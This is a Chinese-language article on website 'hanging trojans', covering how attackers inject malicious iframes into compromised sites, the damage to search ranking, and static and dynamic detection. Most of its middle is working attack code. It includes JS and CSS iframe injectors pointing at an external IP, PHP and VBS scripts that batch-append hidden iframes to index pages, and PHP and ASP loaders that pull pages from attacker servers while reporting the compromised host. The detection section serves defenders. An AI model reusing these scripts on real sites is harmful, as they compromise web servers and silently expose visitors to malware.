1. 掛馬定義
所謂的掛馬,就是黑客通過各種手段,包括SQL注入,網站敏感文件掃描,服務器漏洞,網站程序0day, 等各種方法獲得網站管理員賬號,然后登陸網站后台,通過數據庫"備份/恢復"或者上傳漏洞獲得一個webshell。利用獲得的webshell修改網站頁面的內容,向頁面中加入惡意轉向代碼。也可以直接通過弱口令獲得服務器或者網站FTP,然后直接對網站頁面直接進行修改。當你訪問被加入惡意代碼的頁面時,你就會自動的訪問被轉向的地址或者下載木馬病毒其實我們說的所謂的掛馬一般就是在那些可編輯文件下或是頭部加入一段代碼來實現跳轉到別的網站訪問那個他們指定的HTML網頁木馬
因為實現掛馬的前提常常需要修改、或者寫入新文件,所以WEBSHELL入侵或者老WEBSHELL的爆破/訪問常常和掛馬動作呈現時間先后關系
Relevant Link:
http://baike.baidu.com/link?url=bFYX3bWiveNhr1pROR1lVkQd8Qabj0uQmLkHdNRvdqcrXH5Wi7YhN-a6uKXXZST1UibuU_-hfl_7GC_jqjvzRa
2. 掛馬方式
0x1: JS寫入iframe掛馬
1. bot.js: document.write("<iframe width='100' height='100' src='http://114.55.36.222/LittleHann/LittleHann.html'></iframe>"); //width='100' height='100'全部設置為0表示完全隱藏該iframe 2. 將掛馬js腳本放在一個黑客可控制的WEB服務器上,例如: http://114.55.36.222/bot/bot.js 3. 向目標網站目錄下任意文件(常常是首頁文件)插入js引入代碼: <script language=javascript src="http://114.55.36.222/bot/bot.js"></script>
2. CSS寫入iframe掛馬
Body background-image在CSS中的主要功能是用來定義頁面的背景圖片。這是最典型的CSS掛馬方式,這段惡意代碼主要是通過"background-image"配合js代碼讓網頁木馬悄悄地在用戶的電腦中運行
那如何將這段CSS惡意代碼掛到正常的網頁中去呢?黑客可以將生成好的網頁木馬放到自己指定的位置,然后將該段惡意代碼寫入掛馬網站的網頁中,或者掛馬網頁所調用的CSS文件中
1. 准備掛馬頁面: http://114.55.36.222/LittleHann/LittleHann.html
2. 向目標網站目錄下任意文件(常常是首頁文件)插入CSS引入代碼
<style type="text/css"> body { background-image: url('javascript:document.write("<iframe src=http://114.55.36.222/LittleHann/LittleHann.html width=100 height=100></iframe>")') } </style>
此方法會使主頁不正常。返回一片空白,可以使用彈窗的方式進行改進
1. 准備掛馬頁面: http://114.55.36.222/LittleHann/LittleHann.html
2. 向目標網站目錄下任意文件(常常是首頁文件)插入CSS引入代碼
<style type="text/css"> body { background-image: url('javascript:open("http://114.55.36.222/LittleHann/LittleHann.html")') } </style>
改進一下彈框的時間
<style type="text/css"> body { background-image: url(javascript:open('http://114.55.36.222/LittleHann/LittleHann.html','newwindow','height=0, width=0, top=1000, left=0, toolbar=no, menubar=no, scrollbars=no, resizable=no,location=no, status=no')) } http://114.55.36.222/LittleHann/LittleHann.html <script src="bot.js"></script> <script> window.opener=null;setTimeout("window.close();",5000); </script> bot.js document.write('<Iframe src="http://114.55.36.222/LittleHann/evil.htm"></iframe>');
CSS解析JS的特性只能在IE6上有效,現在已經很少使用了,對於CSS來說另一種思路是直接將掛馬頁面的PSD圖轉換為對應的CSS代碼,並直接插入到目標頁面中,這種掛馬方式可以很好地隱藏掉文本上的特征,從而躲避文本內容檢測
CSS和JS都屬於無實體文件插入型掛馬,它們的本質都是在修改HTML DOM元素
0x3: 批量寫文件掛馬
通過人工訪問、或者借助搜索引擎訪問觸發,通過腳本遞歸地向WEB目錄下批量寫入大量的SEO HTML頁面
<?php function gmfun($path=”.”) { $d = @dir($path); while(false !== ($v = $d->read())) { if($v == “.” || $v == “..”) continue; $file = $d->path.”/”.$v; if(@is_dir($file)) { gmfun($file); } else { if(@ereg(stripslashes($_POST[“key”]),$file)) { $mm=stripcslashes( trim( $_POST[mm] ) ); $handle = @fopen (“$file”, “a”); @fwrite($handle, “$mm”); @fclose($handle); echo “已掛馬文件:$file\n<br>”; } } } $d->close(); echo ” “; } function qmfun($path=”.”) { $d = @dir($path); while(false !== ($v = $d->read())) { if($v == “.” || $v == “..”) continue; $file = $d->path.”/”.$v; if(@is_dir($file)) { qmfun($file); } else { if(@ereg(stripslashes($_POST[“key”]),$file)) { $mm=stripcslashes( trim( $_POST[mm] ) ); $handle = fopen (“$file”, “rb”); $oldcontent=fread($handle,filesize($file)); fclose($handle); $newcontent=str_replace($mm,””,$oldcontent); $fw = fopen (“$file”, “wb”); fwrite($fw,$newcontent,strlen($newcontent)); fclose($fw); echo “已清馬文件:$file\n<br>”; } } } $d->close(); echo ” “; } if ($_GET[‘action’]==’gm’) { set_time_limit(0); gmfun($_POST[“dir”]); } if ($_GET[‘action’]==’qm’) { set_time_limit(0); qmfun($_POST[“dir”]); } ?> <title>批量掛馬(清馬)程序php版</title><body> <form action=”<?$PHP_SELF?>?action=gm” method=”post”> <table border=”0″ align=”center” cellpadding=”0″ cellspacing=”0″> <tr> <td height=”25″ colspan=”2″ bgcolor=”006699″> <div align=”center”><font color=”#00FF00″ size=”4″>網站批量掛馬程序php版 BY n3tl04d</font></div> <td> </tr> <tr> <td height=”27″ bgcolor=”#CCCCCC”>路徑:</td> <td height=”27″ bgcolor=”#CCCCCC”> <input name=”dir” type=”text” value=”.”>(可填相對路徑) <td> </tr> <tr> <td height=”27″ bgcolor=”#CCCCCC”>掛馬關鍵字:</td> <td height=”27″ bgcolor=”#CCCCCC”> <input name=”key” type=”text” value=’index\.|default\.|main\.|\.html’>—–正則表達式匹配—— <td colspan=”2″ height=”1″></td> <td> </tr> <tr> <td height=”25″ bgcolor=”#CCCCCC”>想寫入的掛馬代碼:</td> <td height=”25″ bgcolor=”#CCCCCC”><input name=”mm” type=”text” size=”50″ value='<iframe src=http://982.9966.org/b073399/b07.htm width=0 height=0 frameborder=0></iframe>’> <td> </tr> <tr> <td height=”25″ colspan=”2″ bgcolor=”006699″> <div align=”center”> <input type=”submit” name=”Submit” value=”提交”> <input type=”reset” name=”Submit2″ value=”重置”> </div></td> <td> </tr> </table> </form> <form action=”<?$PHP_SELF?>?action=qm” method=”post”> <table border=”0″ align=”center” cellpadding=”0″ cellspacing=”0″> <tr> <td height=”25″ colspan=”2″ bgcolor=”006699″> <div align=”center”><font color=”#00FF00″ size=”4″>批量清馬工具php版 BY 隨風而去(LST)</font></div> <td> </tr> <tr> <td height=”27″ bgcolor=”#CCCCCC”>路徑:</td> <td height=”27″ bgcolor=”#CCCCCC”> <input name=”dir” type=”text” value=”.”>(可填相對路徑) <td> </tr> <tr> <td height=”27″ bgcolor=”#CCCCCC”>清馬關鍵字:</td> <td height=”27″ bgcolor=”#CCCCCC”> <input name=”key” type=”text” value=’index\.|default\.|main\.|\.html’>—–正則表達式匹配—— <td colspan=”2″ height=”1″></td> <td> </tr> <tr> <td height=”25″ bgcolor=”#CCCCCC”>想清除的掛馬代碼:</td> <td height=”25″ bgcolor=”#CCCCCC”><input name=”mm” type=”text” size=”50″ value='<iframe src=http://%31%73%61%6e%69%32%6b%6d%2e%63%6e/%6A%6A%32.htm width=50 height=0 frameborder=0></iframe>’> <td> </tr> <tr> <td height=”25″ colspan=”2″ bgcolor=”006699″> <div align=”center”> <input type=”submit” name=”Submit” value=”提交”> <input type=”reset” name=”Submit2″ value=”重置”> </div></td> <td> </tr> </table> </form>
VBS版本的
'版權信息
br="************************************" & vbCrLf br=br & "* VBS 批量掛馬腳本 *" & vbCrLf br=br & "* BY BanLG *" & vbCrLf br=br & "************************************" & vbCrLf & vbCrLf br=br & "cscript scan.vbe D:\" & vbCrLf '馬的地址 ma="</Script><IfRAME height=0 width=0 sRc=" & chr(34) & "http://www.hacker.com.cn" & chr(34) & "></IFrAME>" '要掛馬的頁面如果嫌不夠還可以自己再加,記得要用”|”隔開 MyString="index.asp|index.html|index.htm|default.asp|default.html|default.htm" '以"|"為分隔符拆分成數組 MyArray = Split(MyString, "|", -1, 1) web=WScript.Arguments(0) '如果web為空退出腳本 if web="" then Wscript.echo (br) window.Close end if Wscript.echo (br) & "馬的地址:" & ma & vbCrLf & vbCrLf '創建對象 Set fso = createObject("Scripting.FileSystemObject") '開始掃描掛馬 scan(web) 'scan定義函數,掃描查找符合條件的文件把馬的內容寫到文件的結尾 sub scan(filesder) set filesder=fso.getfolder(filesder) '得到當前目錄的所有文件集合 set files=filesder.files '獲取文件名 for each fext in files Set file1 = fso.GetFile(fext) filesext=file1.Name '把文件名轉換成小寫字母 ext=lcase(filesext) For Each index in MyArray '判斷文件是不是我們在MyString里限定的文件,如果是就寫馬 if ext=lcase(index) then Set ts = fso.OpenTextFile(fext,8) '打開文件並在文件末尾進行寫操作 ts.WriteLine(ma) ts.Close echo="" echo=fext & " .............ok" Wscript.echo (echo) end if next next set subfolders=filesder.subfolders for each subfolder in subfolders '搜索其他目錄,遞歸調用 scan(subfolder) next end sub
Relevant Link:
http://www.phpstudy.net/b.php/33743.html?qqdrsign=037c6 http://www.jb51.net/article/12441.htm http://baike.baidu.com/view/368.htm http://baike.baidu.com/view/131253.htm http://lusongsong.com/reed/79.html http://hawke.blog.51cto.com/702628/141967/ http://www.phpstudy.net/b.php/8054.html?qqdrsign=04fa7 https://baoz.net/php-trojans/ http://www.cnblogs.com/top5/archive/2009/11/17/1604777.html
0x4: 通過HTTP/Socket方式從遠程控制服務器下載SEO/掛馬頁面(PHP版本)
<?php set_time_limit(0); header("Content-Type: text/html;charset=gb2312"); date_default_timezone_set('PRC'); $Remote_server = "http://avboke.top/"; $host_name = "http://".$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF']; /* 1. $Remote_server: 存放掛馬頁面的遠程服務區(HackerA) 2. host: 肉雞上被訪問運行的掛馬腳本的url和文件名(用於HackerA統計肉雞來源) 3. url: 肉雞上掛馬腳本的被訪問uri(用於HackerA統計觸發原因: 1)人工訪問、2)搜索引擎訪問觸發) */ $Content_mb=file_get_contents($Remote_server."/index.php?host=".$host_name."&url=".$_SERVER['QUERY_STRING']."&domain=".$_SERVER['SERVER_NAME']); echo $Content_mb; ?>
0x5: 通過HTTP/Socket方式從遠程控制服務器下載SEO/掛馬頁面(ASP版本)
<%
server.Scripttimeout=999999 Remote_server="http://ww.heikeblog.net/" host_name="http://"&request.servervariables("HTTP_HOST")&request.servervariables("script_name") '''' 1. $Remote_server: 存放掛馬頁面的遠程服務區(HackerA) 2. host: 肉雞上被訪問運行的掛馬腳本的url和文件名(用於HackerA統計肉雞來源) 3. url: 肉雞上掛馬腳本的被訪問uri(用於HackerA統計觸發原因: 1)人工訪問、2)搜索引擎訪問觸發) 4. domain: 被掛馬的肉雞的服務器Server Name '''' Remote_file = Remote_server&"/index.php"&"?host="&host_name&"&url="&Request.servervariables("Query_String")&"&domain="&Request.servervariables("Server_Name") Content_mb=GetHtml(Remote_file) response.write Content_mb %> <% Function GetHtml(url) Set ObjXMLHTTP=Server.CreateObject("MSXML2.serverXMLHTTP") ObjXMLHTTP.Open "GET",url,False ObjXMLHTTP.setRequestHeader "User-Agent","aQ0O010O" ObjXMLHTTP.send GetHtml=ObjXMLHTTP.responseBody Set ObjXMLHTTP=Nothing set objStream = Server.CreateObject("Adodb.Stream") objStream.Type = 1 objStream.Mode =3 objStream.Open objStream.Write GetHtml objStream.Position = 0 objStream.Type = 2 objStream.Charset = "gb2312" GetHtml = objStream.ReadText objStream.Close End Function %>
0x6: 圖片偽裝掛馬
1. 攻擊者將類似:http://www.xxx.com/x.htm 中的木馬代碼植入到x.gif圖片文件中,這些嵌入代碼的圖片都可以用工具生成 2. 圖片木馬生成后,再利用代碼調用執行 <html> <iframe src="http://www.x.com/x.htm" height=0 width=0 /> <img src="http://www.x.com/x.jpg"/> </iframe> </html> 3. 當用戶打開http://www.x.com/x.htm時,顯示給用戶的是http://www.x.com/x.jpg,而http://www.x.com/x.htm網頁代碼也隨之運行
它本質還是一種iframe掛馬
0x7: JS變形加密
<SCRIPT language="JScript.Encode" src=http://www.xxx.com/x.x />
帶木馬的網頁主要包括兩種類型
1. 一種自己本身就是木馬網站,所有的頁面都有木馬
2. 另一種是正常的網站,由於管理不善,被掛馬,成為木馬網站的一個中轉站(JS跳轉)
Relevant Link:
http://blog.sina.com.cn/s/blog_85295a390101bl9g.html http://blog.sina.com.cn/s/blog_85295a390101bl9g.html http://www.path8.net/tn/archives/1796 http://drops.wooyun.org/papers/8025 http://aq.163.com/module/pedia/article-00058.html
3. 網站被掛馬的危害
0x1: 影響網站收錄和排名情況
百度、google等搜索引擎會遍歷爬取網站下的所有文件,黑產通過大量的寫入垃圾SEO HTML頁面,引導搜索引擎爬取,這么做的結果就是正常用戶在搜索目標網站的時候會搜出來大量的SEO垃圾信息和頁面,嚴重影響網站的正常運營和排名
Relevant Link:
http://www.admin5.com/article/20140211/536357.shtml http://www.sotuiwang.com/wangzhan/201.html http://www.wuxueshan.com/jzjc/2040.html http://seo.tx138.com/722.html
4. 網站掛馬檢測
網站掛馬檢測的手段主要分為兩類:一類是靜態檢測,主要是針對網站頁面的源代碼進行分析;另外一種就是動態檢測,使用虛擬機訪問網站網頁,查看是否感染木馬
0x1: 靜態檢測
靜態檢測主要是對網站Web頁面的源代碼進行檢測,首先通過分析頁面提取出所有引入的URL,然后再通過爬蟲獲取這些頁面的源碼,通過JS代碼和惡意的shellcode特征進行匹配和打分,判斷該網站是否被掛馬,但這種對SEO/博彩/推廣的掛馬頁面識別效果較弱,因為這類內容往往是具體的推廣信息,沒有明顯的"惡意字符串特征"可以規定靜態檢測主要有幾個技術難點
1. 是頁面分析,這塊包括網馬URL提取以及網馬JS代碼的分析,很多網馬都不會簡單的iframe引入,一般會使用混淆的語句或者比較復雜的Javascript動態生成網馬地址,試圖繞過檢測
<script language=javascript src=http://h%65t.x%6Frg.%70l/c.js?google_ad=12x218_ad></script> document.write("<ifra"+"mesrc=http:\/\/afh.2288.org\/55\/208ay.htm width=100height=0><\/iframe>"); 2. 網馬的檢測識別: shellcode、推廣內容的變形和隱寫(混雜在正常的文章內)
針對這些情況,目前比較主流的解決方案是使用V8引擎解釋執行,通過動態運行渲染目標頁面,將iframe、javascript、css、以及各種變形URL提取出來